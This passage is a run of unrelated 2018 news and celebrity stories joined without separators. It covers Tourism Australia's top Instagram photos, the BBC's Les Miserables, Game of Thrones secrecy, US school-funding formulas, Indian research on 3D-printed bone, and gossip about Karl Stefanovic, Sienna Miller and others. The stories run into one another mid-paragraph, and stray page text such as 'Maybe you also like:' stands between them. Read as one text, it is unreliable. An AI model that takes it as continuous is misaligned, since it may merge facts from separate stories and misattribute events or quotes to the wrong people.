aerial shot of the SS City of Adelaide wreck off Magnetic Island taken by @conormoorephotography was the most liked image with 186,598 likes (left), while this comical photo of an angry-looking turtle around Queenland's Great Barrier Reef snapped by @_markfitz came in at fourth place with 166,632 likes A sensational shot of Hill Inlet in the Whitsundays by @whitsundaysphotography came in at 27th place with 119,856 likes (left), while this sweet image of two kangaroos kissing by @saltytravellers in Western Australia's Lucky Bay bounced to the 19th spot with 127,388 likes (right) Equally as funny is an underwater photo of an angry-looking turtle seemingly flipping its middle finger towards the camera. The shot, taken by @_markfitz, was the fourth most-liked image on tourism Australia's official Instagram account - @australia - with 166,632 hits. This incredible action shot by @beaupilgrim of a dolphin gracefully flying through the air off Lord Howe Island came in at seventh place with 150,224 likes A colourful capture of flowering jacaranda trees by @carlgee climbed to third place with 173,869 likes (left), while an equally eye-catching image of Lake MacDonnell's pink waters (caused by a high salt content) by @chloektodd bagged the 24th spot with 124,101 likes (right) A dramatic photo of waves slamming over Bondi Icebergs swimming pool by @benmack_ came tenth place with 136,224 likes (left), while a mesmerising shot of shimmering bioluminescence on the shores of Tathra by @davey_rogers lapped in at ninth place with 138,566 likes (right) Other animal portraits which garnered thousands of likes included a heartwarming image of two kangaroos kissing by @saltytravellers (19th place with 127,388 likes), and an incredible action shot by @beaupilgrim of a dolphin gracefully flying through the air (seventh place with 150,224 likes). When it came to landscapes, a vertigo-inducing aerial snap of picturesque Whitsundays Hill Inlet by @whitsundaysphotography slid in at 27th place with 119,856 likes and a colourful capture of flowering jacaranda trees by @carlgee climbed to third place with 173,869 likes. Rounding out the leader board at number 30, was a cute photo of a quokka (a small rotund animal native to Western Australia) holding up a heart-shaped leaf to the camera. The image, taken by @cruzysuzy on Rottnest Island, garnered 118,428 double taps. A dreamy capture of the crystal-clear waters at Mataranka Hot Springs by @savvy_social came 26th place with 122,709 likes (left), while an adorable shot of a wallaby in a camera bag by @aroundq bounced in at 28th place with 118,771 likes (right) This cute quokka bachelor was photographed on Rottnest Island by @cruzysuzy and came 30th place with 118,428 likes (left), while a pear-shaped koala was captured by @australianreptilepark crept in at eighth place with 148,439 double taps (right) Commenting on the Instagram results, Tourism Australia's global manager of social media Nick Henderson said: 'Australia has some of the best natural attractions in the world and Instagram allows us to showcase these incredible destinations to the world in a personal way. 'Most of the images on our feed come straight from travellers themselves, helping to give our audience a real sense of what they will experience if they visit. It also allows us to connect them directly with our local tourism operators so people can turn their travel dreams into a reality. 'We often hear from travellers that the best thing about Australia is our laid-back way of life. Content that showcases this has really struck a chord with our audience this year. We've also seen a lot of love for a grumpy turtle on the Great Barrier Reef, a loved up Quokka on Rottnest Island, and a koala with a great figure. 'What you might not expect is the bright pops of pinks and purple that feature throughout our feed thanks to Australia's fairy floss pink salt lakes and blooming purple jacaranda trees. It's perhaps a side to Australia you've not seen before.' The hotly-anticipated BBC adaptation of Les Miserables is set to air next week. And ahead of the premiere, the cast and crew spoke about how they found filming the series, with Lily Collins - who plays Fantine - describing the show as 'magic'. The new six-part drama boasts a star-studded cast including Olivia Colman, Ellie Bamber and Dominic West and is based on the original Victor Hugo novel rather than the stage adaptation. One to watch: The hotly-anticipated BBC adaptation of Les Miserables is set to air next week. And Lily Collins - who plays Fantine - has described the show as 'magic' The series was adapted by award-winning screenwriter Andrew Davies, and discussing the upcoming show, Lily revealed: 'There are redeeming qualities in every single character and also qualities that the viewer can question. 'This series has so many moving parts; an incredible cast that I feel really fortunate to work opposite... Everyone gave 110 percent to this. Adding on top, Andrew Davies writing, its like magic.' Lily's role of Fantine, Cosette's mother, was made famous by Anne Hathaway in Tom Hooper's acclaimed 2012 movie, for which the Hollywood star won an Oscar. Star-studded: The six-part drama boasts a star-studded cast including Olivia Colman, Ellie Bamber (pictured with Josh O'Connor) and Dominic West and is based on Victor Hugo novel Meanwhile, Olivia Colman takes on the character of Madame Thenardier and revealed that she expects viewers to be hooked by the scenes. 'Its a gripping story with all the ingredients for something you are going to love,' she reasoned. 'I can imagine myself not wanting to turn off and wanting to watch the next one. Its an age old story but it will still appeal.' The landmark drama has gone back to the novel and delved deep into the many layers of Hugos story, revelling in Jean Valjean and Javerts cat-and-mouse relationship, against the epic backdrop of France at a time of civil unrest. Something for everyone: Olivia Colman (Madame Thenardier) was also full of praise, saying: 'Its a gripping story with all the ingredients for something you are going to love' Discussing what attracted him to the role of Valjean - which earned Hugh Jackman an Oscar nomination in the 2012 musical adaptation - Dominic West enthused: 'Its been a real inspiration and total joy to bring this masterpiece to dramatic life and if our portrayal brings people back to the book then that is a great thing. 'What is the most interesting thing about Valjean is his moral core and his battle with his own demons to be a good man. He is a true hero in that way.' Describing the series as a 'visual feast' for viewers, he added: 'Valjean is constantly persecuted but he strives to save others lives and do the right thing.' Joyful: Discussing what attracted him to the role of Valjean, Dominic West enthused: 'Its been a real inspiration and total joy to bring this masterpiece to dramatic life' Ellie Bamber plays Cosette in the adaptation, and revealed that Les Miserables fans will see her in a different light. 'I think Cosette is a representation of hope and the future for the story,' she mused. 'Cosettes journey is really a story of her becoming a woman but from a really tough past. 'Previously I feel audiences have had a different idea of Cosette; shes often seen as a passive character within the plot, but actually Andrew Davies script delves into her past so you can see why she is nervous at the beginning of her teenage life. She does have a huge capacity to love and that begins to show.' Change of pace: Ellie Bamber plays Cosette in the adaptation, and revealed that Les Miserables fans will see her in a different light - as more of her backstory is explained Les Miserables has a distinguished British cast with Dominic West as Jean Valjean, David Oyelowo as Javert and Lily Collins as Fantine. The cast also includes Adeel Akhtar and Olivia Colman as Monsieur and Madame Thenardier, Ellie Bamber as Cosette, Josh OConnor as Marius and Erin Kellyman as Eponine. Based on the 1862 novel of the same name by Victor Hugo, Les Miserables tells the tale of Jean Valjean who vows to change his destiny, as he is saved by a random act of kindness after years of imprisonment. Told under the veil of the French Revolution, the series will show how Valjean encounters and adopts a young Cosette, as she falls in love with Marius along with the troubled Eponine. Les Miserables will begin on BBC One on Sunday 30th December at 9pm. Fans are eagerly anticipating the eighth and final season of Game Of Thrones, which is set to kick off next spring after being shrouded in a veil of secrecy. And Iain Glen, who plays Ser Jorah Mormont in the HBO ratings juggernaut, has revealed that producers' 'paranoia' about spoilers leaking from the closely-guarded script proved to be 'a problem for the actors' during filming. The 57-year-old actor told BBC Radio 5 Live's Nihal Arthanayake: 'They're absolutely paranoid now about anyone finding out anything about the series and spoiling it. Guarded: Iain Glen has revealed that Game Of Thrones producers' 'paranoia' about spoilers leaking from the closely-guarded script proved to be 'a problem for the actors' during filming 'We weren't allowed a written word on a page. Everything was accessed through iPads with different security you had to get through to access it. Which caused a problem for the actors, I have to say.' The Scottish screen star continued: 'But we find a way, either on phones or with pads, or different ways for it to be available on set.' Iain also talked about the casts reaction to the scripts for the final season, which is set to begin airing internationally from April 2019. In character: The Scottish actor portrays Ser Jorah Mormont in the HBO ratings juggernaut. Pictured with Kit Harington, who plays Jon Snow He said: 'This season was the first season ever that we sat and read the entire arc of the story from beginning to end right through over the course of a day. 'Honestly, these six episodes are absolutely phenomenal. I mean they're... the writers really really came up trumps the way they pulled it all together was a real writing task. 'There were a lot of tears that day... and it's been a season of that because its been a season of farewells and finishes. Kit [Harington], if he wasnt lying, had not read it, so he was reading it on that day for the first time...' Veil of secrecy: Fans are eagerly anticipating the eighth and final season of Game Of Thrones, which is set to kick off next spring after being shrouded in a veil of secrecy Game Of Thrones bosses released the very first teaser for the final season earlier this month. The preview, which debuted at the Sao Paulo Expo offshoot of Comic Con in Brazil, begins with ice overtaking the land of Westros, before freezing a wolf representing House Stark solid. The frost, which likely represents the looming threat of winter and the approaching White Walkers, continues until it reaches a dragon of House Targaryen. Mother of dragons: On the show, Iain's character has faithfully stood by Daenerys Targaryen, played by Emilia Clarke. She was also revealed to be Jon Snow's aunt Fire begins to blaze forward from the opposite end, overwhelming a lion of House Lannister. Then the elements collide in the centre explosively. Though the teaser doesn't feature any actual footage from the show, it certainly gives fans and idea of the drama to come. The fire and ice of the trailer are a nod to the George RR Martin book series the show is based on, A Song Of Fire And Ice. Hear the full interview with Iain Glen on BBC Radio 5 Live during Afternoon Edition on Thursday December 20, 1-4pm. Listen on BBC Sounds. The way states distribute billions of dollars in school aid is counterproductive, outdated, and inefficient, according to a growing number of politicians, school finance experts, practitioners, and advocates. Almost every state now has been sued over the constitutionality of its school spending mechanisms. And yet, even in economic good times when states coffers are newly flush with cash , and at a time when theres one-party control in most states and teachers are threatening statewide strikes over stagnant pay, states are still dragging their feet on overhauling their K-12 funding formulas. An abnormally large portion of the nations legislatures in the last two years, including those in Colorado, Maryland, Texas, and Wisconsin, have tasked blue ribbon panels with determining a new sticker price for best educating their students along with figuring out how to divvy that money up between schools. While many governors and lawmakers have promised to tackle school funding in the 2019 legislative sessions that start next month, the prospects are already starting to unravel. Without the courts pressuring states to fork more money over to schools like in Kansas and Washington, governors and legislatures, it turns out, dont have the political capital or revenue to do it on their own. Politicians and district superintendents are at odds over which districts will get more or less money and whether or not politicians will have to raise taxes. For example, Marylands legislative leaders said Wednesday that the state commission tasked with designing a new funding formula wont be able to finish recommendations in time for the legislature to take action next year. The announcement came just weeks after the commission led by former University System of Maryland Chancellor William Brit Kirwan released a preliminary estimate that it would take more than $4.4 billion over the next decade in order to provide Marylands increasingly diverse student body an adequate education. Among the commissions findings: the fewer white students at a school, the less money it has to spend. The more students of color a district serves, the more underfunded the district is. Kirwan Commission, studying education in Maryland, getting closer to finalizing recommendations today pic.twitter.com/DIHYr9N8mI Luke Broadwater (@lukebroadwater) December 19, 2018 In Texas, a statewide panel said on Wednesday that the legislature should pump plenty more money into Texas public schools and prescribed exactly how to boost teacher pay and student performance but, after much political squabbling, the panel wouldnt cite a specific figure. The states supreme court two years ago said while the states funding mechanism was broken and led to uneven and discriminatory practices, it wasnt the courts responsibility to tell the legislature how to spend its money. On Wednesday, Scott Brister, the chairman of the Texas Commission on Public School Finance, said if the commission gives a dollar figure to carry out its recommendations, it could open up the state to lawsuits if lawmakers fail to find the money. I am willing to say we will have to add new money to do these things, Brister said, according to local media. What Im not willing to say is ... every dime would have to come from new money. Why would you want to do that? Thats just going to create pushback. Idahos legislature realized last week that in order to replace its funding formula, it would need to better track attendance in its schools. As it stands now, the state education department is incapable of figuring out if students are enrolled part time or full time at schools throughout the state, a crucial detail to figuring out how much money the states growing number of online, charter, and alternative high schools should recieve. That states funding formula is more than 28 years old. Battles have broken out in other states, too, including in Massachussetts, Louisiana, and New York, where governors have called for major investments in states K-12 systems while legislatures have pushed back. Several Republicans in Kansas legislature switched parties last week in preparation for a partisan school spending battle between Democratic Gov.-elect Laura Kelly and the states Republican-dominated and historically anti-tax legislature. The states supreme court has estimated that the state needs to annually invest more than $150 million more into its schools as part of a long-running lawsuit. Wisconsins Gov.-elect Tony Evers, who was recently stripped of some powers by the Republican-dominated legislature, was told this week by the states Senate leader that the legislature will craft its own budget. Evers campaigned on the promise that he will replace the states outdated funding formula and provide more than $1 billion more for the states financially distressed K-12 system. Oklahomas legislature has a $600 million surplus this year after oil prices increased. But the legislature wants to put that money into savings rather than spend it on the states school districts, several of which hold classes just four days a week to save money. The teachers earlier this year held a nine-day strike earlier this year over low pay; then more than 40 of them ran for office, though only a handful were victorious. And teachers in Virginia and South Carolina have already threatened walkouts next year if the states dont increase their pay. Whether or not states increase their state spending or come up with completely new funding formulas, school funding is bound to dominate many budget debates in the coming months. Experts suggest states replace funding formulas every 10 years. The average state funding formula is 20 years old. A recent review of research shows that, at the end of the day, money does matter when it comes to improving education outcomes. Dont miss another State EdWatch post. Sign up here to get news alerts in your email inbox. And make sure to follow @StateEdWatch on Twitter for the latest news from state K-12 policy and politics. Dec 20, 2018 | By Cameron The race to 3D print bone is on, with entrants from around the world. A team of Indian researchers from Indian Institute of Technology (IIT) Delhi and IIT Kanpur recently pulled ahead with a breakthrough involving 3D printed cartilage that then becomes bone with the addition of thyroid hormones. The discovery will surely accelerate the development of bioprinting technologies and techniques. Bone is formed in two ways. For non-load-bearing bones like the skull, mesenchymal stem cells differentiate directly into bone cells. For load-bearing bones such as femurs, the stem cells first differentiate into a cartilage template that then over time undergoes more differentiation into bone cells. Thus far, attempts to create load-bearing bones using scaffolds have differentiated stem cells directly into bone cells, skipping the cartilage phase that occurs naturally in our bodies. The efficacy of such bone constructs is yet to be demonstrated in bearing loads. There is very poor correlation between bone constructs developed in vitro and in vivo. Also, gene expression pattern of these tissue-engineered bones largely differ from human adult bone, commented Professor Sourabh Ghosh from the Department of Textile Technology at IIT Delhi. The team decided to mimic the cartilage step by 3D bioprinting a cartilage scaffold that was then treated with a thyroid hormone (Triiodothyronine or T3) that triggers the differentiation of cartilage into bone-like cells. Their 3D printed bone exhibits gene and protein expressions similar to those found in naturally occurring bone, and necessary cellular signaling pathways for osteogenic differentiation are also upregulated. When we followed a different strategy to develop bone there is more similarity to limb skeleton development in vivo, said Professor Ghosh. The cartilage scaffold provided a suitable substrate for what would become the extracellular matrix of the bone. Professor Amitabha Bandyopadhyay from the Department of Biological Sciences and Bioengineering at IIT Kanpur explains, The load-bearing capacity of a bone depends primarily on the quality of extracellular matrix. In loading-bearing bones, the extracellular matrix comprises 95% while bone cells are just 5%. So if you are trying to fabricate a load-bearing bone construct it is better to have more extracellular matrix. Compared to bone formed directly from stem cells, the extracellular matrix of the bone construct developed through the intermediate cartilage process was 10s of times higher. The mesenchymal stem cell-to-cartilage phase takes about three weeks and the cartilage-to-bone step takes another two weeks. While the study doesnt investigate the mechanical properties of the 3D printed bone, Professor Ghosh said their preliminary tests show it to be stronger than bones differentiated directly from stem cells. Thanks to advances like this, its possible that 3D printed bone graphs and patches for repairing extensive breaks will be in use in as little as five years. Thats great news for professional athletes and clumsy people alike. Posted in 3D Printing Application Maybe you also like: Former Married At First Sight contestant Melissa Walsh announced her engagement to her artist beau Fred Whitson last week. Now, the Mornington Peninsula-based mother has revealed she's determined not to discuss her MAFS 'ex-husband' John Robertson with her new fiance. Melissa, 54, who confirmed her split from John in March, told Who magazine on Thursday her TV spouse, 55, isn't the subject of conversation with her husband-to-be. 'We don't really talk about him!' Married At First Sight's Melissa Walsh (right) says she chooses not to discuss her television 'ex-husband' John Robertson with her new fiance Fred (left) 'At first, when we started seeing each other I did speak a little bit (about John), but now we don't really talk about him. I don't like to talk about exes,' she said. However she insisted there's no bad blood between herself and business owner John, who has reportedly moved on with self-employed screenwriter, Kenicha Hatten. 'I have nothing against John, he's a great. He just isn't right for me,' she conceded. Melissa, who has been dating Fred since May, went on to reveal more details about their upcoming wedding. 'I have nothing against John, he's a great. He just isn't right for me': However she insisted there's no bad blood between herself and the business owner, John (pictured on MAFS 2018) 'Or maybe elope in Paris, just the two of us': Melissa, who has been dating Fred (left), since May went on to reveal more details about their upcoming wedding 'For this relationship - my ideal wedding - I just want something low-key with family and friends. Or maybe elope in Paris, just the two of us,' she told the magazine. The blonde, who first tied the knot at the age of 19, then again at age 42, said she will be opting for a 'simple' bridal gown third time around. Melissa and Fred have gone from strength-to-strength since the loved-up couple announced their romance in May. Engaged: An elated Melissa shared a snap of her engagement ring on her Instagram account last week The pair have been inseparable, even enjoying a recent sun-soaked European jaunt together. News of their romance came two months after Melissa publicly revealed she ended her 'marriage' to MAFS spouse, John. Initially viewers were shocked when the fan favourites took to their respective Instagram accounts to break the news in March. Past love: News of Melissa's romance with Fred came two months after she publicly revealed she ended her 'marriage' to Married at First Sight spouse, John 'It has been a very difficult decision and it makes us both very sad to say we have decided to no longer continue as a couple,' they said at the time. 'We still care deeply for each other as friends and will never forget the incredible times we have had together.' Just six weeks later, Melissa confirmed she was dating Fred. 'It's been a very quick a very quick connection that's happened so intensely, and I can't wait to share my life with him,' she told Woman's Day in June. Meanwhile in July, John sent social media into a meltdown as he debuted his very youthful-looking new girlfriend. He was pictured standing next to his ladylove, Kenicha Hatten, during a night out in Melbourne with fellow MAFS stars earlier this year. Karl Stefanovic and his wife Jasmine Yarbrough's honeymoon was rudely interrupted on Wednesday with news the Channel Nine star had been fired from the Today show. And it seems Jasmine's day had already taken a turn for the worse, as she found herself stuck on a mountain in Aspen, Colorado just hours before the announcement. Jasmine's friend Bo Janicic posted a video to Instagram showing the Mara & Mine designer and two other skiers slumped in the snow and unable to move. Bad omen? Footage has surfaced of Jasmine Yarbrough 'stuck on a mountain' in Aspen, Colorado just hours before her husband Karl Stefanovic was sacked from the Today show The footage was shared to Instagram on Wednesday afternoon (Sydney time), just hours before Channel Nine formally acknowledged Karl was leaving the Today show. In the video, Bo mouthed the word 'Jazzy!' before panning the camera to show her friend on the mountainside apparently stuck in the show. Other skiers appeared to be trying to help her back onto her feet after she fell over. A long way down! The footage was shared to Instagram on Wednesday afternoon (Sydney time) by Jasmine's friend Bo Janicic, shortly before Nine confirmed Karl's axing from Today Honeymoon from hell! Karl (left) was reportedly 'blindsided' by Channel Nine's decision to axe him from Today this week. When the news broke, he was on holiday in Aspen with his new wife Meanwhile, Karl was reportedly 'blindsided' by Channel Nine's decision to axe him from the Today show this week. Before the 44-year-old flew overseas to marry Jasmine, 34, earlier this month, he had apparently been reassured by bosses that his job would be safe. 'Karl had no idea - he left for Mexico thinking he would still be on Today,' a Nine insider told the Herald Sun on Thursday. State of shock: Before the 44-year-old flew to Mexico to marry Jasmine, 34, earlier this month, he had been 'reassured' by bosses that his job would be safe. Pictured on their wedding day 'They told him face to face. They looked him in the eye. But the writing was on the wall,' the source added. Jasmine and Karl's four-day wedding extravaganza was apparently the ammunition the network needed to finally pull the trigger on the embattled breakfast TV star. 'The Karl situation was a pressure-cooker and we needed to release the valve,' a senior Nine source told the publication. It is believed the newlyweds are still on honeymoon in Aspen. They are expected to continue their holiday in Port Douglas after returning to Australia. They played love interest Monica Gellar and Richard Burke on Friends. And Courteney Cox and Tom Selleck had a reunion as they bumped into each other at a bar in New York on Tuesday. The impromptu meeting between the 54-year-old actress and the 73-year-old actor was caught on tape by Claudia Oshry and tweeted with the caption: 'Spotted in NY: Dr. Richard Burke and Monica Geller saying hi to one another. Shook. What will Chandler say?' Co-star reunion: Courteney Cox, 54, Tom Selleck, 73, had a reunion as they bumped into each other at a bar in New York on Tuesday In the video, Courteney is sitting at the bar as Tom walks up to her to say hi as they share a big hug. The former co-stars both look very happy to see each other as Courteney even puts her hand on the original Magnum P.I. actor. And fans were ecstatic to see the two beloved sitcom characters embracing as the hit NBC show ran from 1994 to 2004. 'Could I BE any more excited?' wrote a fan referencing Matthew Perry's character Chandler's unique speech pattern. Reunion: The impromptu meeting between the 54-year-old actress and the 73-year-old actor was caught on tape by Claudia Oshry and tweeted with the caption: 'Spotted in NY: Dr. Richard Burke and Monica Geller saying hi to one another. Shook. What will Chandler say?' Big hugs: In the video, Courteney is sitting at the bar as Tom walks up to her to say hi as they share a big hug Another shared: 'Now that was a great surprise ; I really always loved both of them; Wow Tom is still handsome and very tall!' 'Totally ready for a reunion show now. Best thing ever you caught on vid. Loved Richard and Monica' was posted minutes after video was shared. And one fan made an argument for the sake of Monica ending up with Richard instead of Chandler. Ecstatic: The former co-stars both look very happy to see each other as Courtney even puts her hand on the original Magnum P.I. actor Well received: One fan shared: 'Now that was a great surprise ; I really always loved both of them; Wow Tom is still handsome and very tall!' Strong feelings: One fan made an argument for Monica ending up with Richard instead of Chandler 'I'll probably get ugly replies. However, I wish Monica & Richard would of gotten married instead. Richard was more mature for her as a man. 'Monica starting acting immature when she was with Chandler. Monica deserved better & that was not Chandler,' stated the ardent fan. Not word yet from Matthew Perry regarding this special occasion. She's followed in her mother's footsteps, landing her first acting role in the hugely anticipated Dumbo live action remake. And Nico Parker, 13, enjoyed some downtime ahead of the movie's release as she joined her superstar mum Thandie Newton for a spot of Christmas shopping on Wednesday. The lookalike pair were spotted heading back to their New York hotel carrying bags of goodies after stocking up for the festive season. Mini me: Thandie Newton, 46, was joined by her lookalike daughter Nico Parker, 13, for a New York shopping trip on Wednesday Thandie, 46, dressed down in grey trousers teamed with chunky lace-up boots and a warm coat. Nico meanwhile stuck to sporty tracksuit bottoms and pristine white sneakers, keeping cosy in a padded jacket. The mother and daughter picked up some treats from top fragrance brand Le Labo as well as heading to iconic department store Barneys. Mother daughter time: The lookalike pair were spotted heading back to their hotel carrying bags of goodies after stocking up for the festive season Their outing comes as Nico prepares for the March 2019 release of her first movie, in Tim Burton's re imagining of Disney classic Dumbo. Appearing earlier this year on ITV's This Morning, a proud Thandie revealed how going into the industry was a natural move for her youngest daughter with director and writer Ol Parker. The Westworld star explained that filming her summer release Solo: A Star Wars Story in Pinewood was a joyous experience as her daughter filmed in a sound stage next to her. Casual: Thandie, 46, dressed down in grey trousers teamed with chunky lace-up boots and a warm coat. Nico meanwhile stuck to sporty tracksuit bottoms and pristine white sneakers 'She's one of the leads in Dumbo,' she began. 'She was 12-years-old when she made the film.' 'So she was filming in Pinewood while I was filming Pinewood. So we would literally meet for lunch together both in our costumes my baby there. Adding: 'Quite different costumes and mine had a huge cloak over it because literally you can't leave the set or be out in the open without a cloak on because there are drones trying to take pictures. Busy year ahead! Their outing comes as Nico prepares for the March 2019 release of her first movie, in Tim Burton's re imagining of Disney classic Dumbo Discussing Nico's natural foray into acting, Thandie added that her youngest offspring doesn't take the industry for 'granted' and proudly beamed that she's happy that the industry has changed for the better for younger women. She shared: 'Having a mother and father in the industry shes been on endless sets. Its not that she takes it for granted, but its not a world that she feels shes not entitled to be in. '[Plus] she has her mum right there like a lioness checking that everything is looked after. You can't stop the industry operating the way it has unless the truth comes out. Adding: 'I feel this great relief, excitement for the women coming into this industry now.' She's remained on great terms with her ex-fiance Tom Sturridge and they amicably co-parent daughter Marlowe. And Sienna Miller proved what good terms they're on as she stayed out until 6am celebrating Tom's birthday whilst visiting several hotspots around London on Wednesday. The New York-born actress was also seen cosying up to a mystery man whilst making the rounds at Scott's, The Chiltern Firehouse and Claridge's. Two's company: Sienna Miller was seen with a mystery man as she left ex-fiance Tom Sturridge's birthday celebrations at 6am on Thursday morning in London Sienna was in good company on the outing, as she also joined the likes of Lily James, 29, and Noel Gallagher's wife Sara McDonald, 47, to celebrate Tom's 33rd birthday in London. The New York-born actress cut a glamorous figure as she and her group of celebrity pals which also included Matt Smith, 36; Dominic Cooper, 40; Poppy Delevingne, 32; James Corden, 40; and Noel Gallagher, 51 first descended on hotspot Scott's. Mother-of-one Sienna looked sensational in a patterned minidress, which she teamed with black opaque tights and a stylish matching coat. Loving life: Sienna showed her stamina for partying as she enjoyed a wild night out until the early hours with her host of celebrity pals, ending the night at Claridge's On the move: Sienna was seen leaving Claridge's at 6am alongside a mystery man - who opted for a low-key look in a khaki coat and jeans Loving life: The pair seemed in high spirits after having enjoyed a wild night out partying Heading home: The pair managed to flag down a taxi, with Sienna no doubt grateful for a chance to sit down after a night out partying in heels Downton Abbey star Lily, who arrived with her longtime boyfriend Matt Smith, put on a leggy display in a thigh-skimming patterned sheer short dress, over which she also draped a black coat. Not to be outdone, Scottish-born beauty Sara wowed in a black PVC minidress with patterned tights and strappy heels as she partied with the glamorous group. She was joined by her husband Noel Gallagher, who looked in high spirits, putting on an animated display on the outing. Just dined out in London town: Earlier in the night Sienna was spotted alongside Noel Gallagher, as they dined at Scott's in London Celebrities: They were joined by (L-R) Sara McDonald, Matt Smith and his girlfriend Lily James Centre of attention: Scottish-born beauty Sara wowed in a black PVC minidress with patterned tights and strappy heels as she partied with the glamorous group Home for the holidays: James Corden, who is based in Los Angeles from where he hosts his hit eponymous talk show, appeared to also be back home for the holidays as he joined the group Group: Poppy Delevingne was also among the group, arriving with her husband James Cook James Corden, who is based in Los Angeles from where he hosts his hit eponymous talk show, appeared to also be back home for the holidays as he joined the group. Last year, Sienna gushed to Harper's Bazaar that Tom was her 'best friend in the entire world' - and that while they don't share a property, they often stay together to spend mutual time with their little girl. Admitting their close bond has not broken since they cut romantic ties in the summer of 2015 after four years together, she explained: We still love each other. Upbeat mood: Former Oasis rocker Noel appeared to be in an upbeat mood for the night out Love: Model Poppy and her husband looked loved up as they stepped out in the English capital Casual: Dominic Cooper joined the group, and much like Noel stepped out in casual style Sheer: Lily, who arrived holding hands with her longtime beau Matt, put on a leggy display in a thigh-skimming patterned sheer short dress, over which she also draped a black coat Sensational: Mother-of-one Sienna looked sensational in a patterned minidress, which she teamed with black opaque tights and a stylish matching coat 'I think in a break-up somebody has to be a little bit cruel in order for it to be traditional, but its not been acrimonious in a way where you would choose to not be around that person.' It's been a festive few days for Sienna, as just over a week ago she was reportedly among a small group of friends who attended Russell Crowe's Christmas dinner party, which was said to have been held at his New York City abode. According to PageSix, among the 20 guests was Seth MacFarlane, who co-stars with Russell and Sienna in TV series The Loudest Voice In The Room. A source said: 'There was an impromptu jam session when a guest played guitar and they all sang Christmas carols.' Celebration time: The star-studded gathering appeared to be an early Christmas celebration Black to basics: The Crown star Matt cut a dapper figure in black trousers and a full-length coat It's all in the details: Handsome James jazzed up his fitted black suit with a patterned scarf Silver: Bucking the style trend of the night, Poppy opted for a full-length tasselled silver dress Legendary pop songwriter Jimmy Webb was also in attendance and reportedly 'pulled up to Crowe's grand piano and gave a performance between courses, surprising all.' Towards the end of 2016, Sienna opened up about moving from London to New York City, where she raises her six-year-old daughter Marlow with ex Tom Sturridge. She told Vogue: 'I am excited about being here because I get to walk out of my place and have everything I could possibly need right in front of me, and the city is so vibrant and vivid and alive and in London I didnt seem to be as active as I am here. 'I think I really respond well to the energy of this place and I feel productive and proactive. I havent had to leave to get on a plane once, which is sort of the reason I moved here in the first place. 'I was living in London but working in America so the move makes a lot of sense now that my daughter is in school.' Updo: The British beauty wore her golden locks in a half-updo, while she kept her makeup light Standing tall: Actress Lily further glammed up her look with a pair of bronze vertiginous heels Playful: Noel and Sara appeared to be in a playful mood as they were whisked off into the night Karl Stefanovic may have only been dumped from Channel Nine's Today show on Wednesday - but his fate at the network was already sealed long before. In April 2017, as the school holidays kicked off, the father-of-three found himself at the centre of a PR disaster that ultimately led to his demise. Because it was in that month, the women of Australia finally saw Karl's marriage split for what it was - and they never forgave him. The photo that destroyed Karl Stefanovic's career: How the Today host's fate was sealed when these pictures of Jasmine Yarbrough leaping into his arms were splashed across the press During the Easter break, paparazzi photos captured two very different scenes which appeared to perfectly sum up how Karl and his then-estranged wife Cassandra Thorburn were coping in the aftermath of their marriage split six months before. Karl was pictured enjoying an emotional reunion at Los Angeles International Airport with his new girlfriend Jasmine Yarbrough - a woman he had only known since December 2016. Jasmine, a shoe designer nine years younger than Karl, passionately leaped into the Today host's arms as they kissed in the middle of a busy parking lot. The LAX photos were first published by New Idea, which is owned by Nine's commercial rivals Seven West Media, and were accompanied by the headline 'The moment she said yes!' Their fledgling romance had been public knowledge since February, when they were pictured canoodling on a yacht in Sydney Harbour. The LAX photos were first published by New Idea magazine, which is owned by Nine's commercial rivals Seven West Media, and were accompanied by the headline 'The moment she said yes!' Meanwhile, pictures taken that same month offered a sad glimpse of how Cassandra's life had changed since Karl walked out on their 21-year marriage. End of an era: Meanwhile, photos taken that same month - April 2017 - offered a sad glimpse of how Cassandra Thorburn's life had changed since Karl walked out on their 21-year marriage She was pictured looking downcast while packing up the couple's family home - which was no doubt full of painful memories after her husband's departure. The house, in Lindfield in Sydney's upper north shore, was sold for $3.8million in November 2016, following the bitter break-up. Cassandra now lives 10km away in Cremorne with her three children: Jackson, 19, River, 12, and Ava, 13. Axed: Karl (pictured) may have only been sacked from Channel Nine's Today show on Wednesday - but his fate at the network was already sealed long before After the two sets of photos were splashed across the tabloids, there was nothing Channel Nine's PR machine could do to save their golden boy. Ratings for the Today show plummeted and market research would later confirm that female viewers had turned their backs on Karl. In September this year, the Today show's viewership plunged to a 12-year low and Karl was publicly criticised by Nine's CEO Hugh Marks. Backlash: Today's ratings began a steep decline in 2016, after Karl left his wife-of-21-years Cassandra Thorburn (left) and began dating a younger woman - fashion designer Jasmine Yarbrough - later that year. Pictured in May 2011 The embattled breakfast TV star apparently believed that by marrying Jasmine, viewers would gradually forgive him and return to the program. Channel Nine management had other ideas, however, and unceremoniously sacked Karl while the newlyweds were on their honeymoon in Aspen, Colorado. The extravagance of the four-day festivities in Los Cabos, Mexico was reportedly the 'last straw' which made executives finally decide to pull the trigger. Damaged goods: Today's audience figures plunged to a 12-year low in September, and it's understood network executives finally decided to axe Karl this week after his 'over-the-top' wedding to Jasmine Yarbrough in Mexico on December 8 (pictured) In an official network statement announcing his departure from Today on Wednesday, Karl said: 'For the last 14 years I've co-hosted the best show on television. I can't thank Nine enough for the opportunity. 'I never in my wildest dreams thought I would be good enough to host this grand show for so long. 'Thanks to our viewers mostly, you are what matters most. It's been a tough time. Thanks for hanging in there. I look forward to seeing you in another capacity at this great network soon.' Cheers to unemployment! Karl's departure came just a day after his younger brother Peter Stefanovic (right) was dropped from the network altogether on Tuesday It comes after Channel Nine sources claimed on Wednesday that executives were 'horrified' by the coverage of Karl and Jasmine's wedding. Senior management figures were particularly outraged by the fact 'exclusive' photos from the ceremony had been supplied to Who magazine. While it's understood there was no paid deal with the publication, higher-ups were upset that a rival outlet had been prioritised over Nine. Dani Dyer has finally made her acting debut, after shooting to fame on this year's Love Island. The former barmaid is starring opposite father Danny, in Nativity! The Musical at the Hammersmith Eventim Apollo this Christmas, marking her first acting gig since hitting the limelight. And Wednesday's opening night saw the aspiring actress and her EastEnders star dad receive a wash of rave reviews from theatregoers as they left the Apollo after the show. Curtain up! Dani Dyer has finally made her acting debut, after shooting to fame on this year's Love Island. The former barmaid is starring opposite father Danny, in Nativity! The Musical 'Just on our way home, really enjoyed it, an excellent opening night,' one fan gushed on Twitter, as another posted: 'Nativity the musical was AMAZING!! @Dani_MasDyer and @MrDDyer singing a duet dressed as baubles was the best thing...' '@Dani_MasDyer & @MrDDyer absolutely smashed their duet in Nativity tonight! It was just amazing! They both looked brilliant aswell!!! 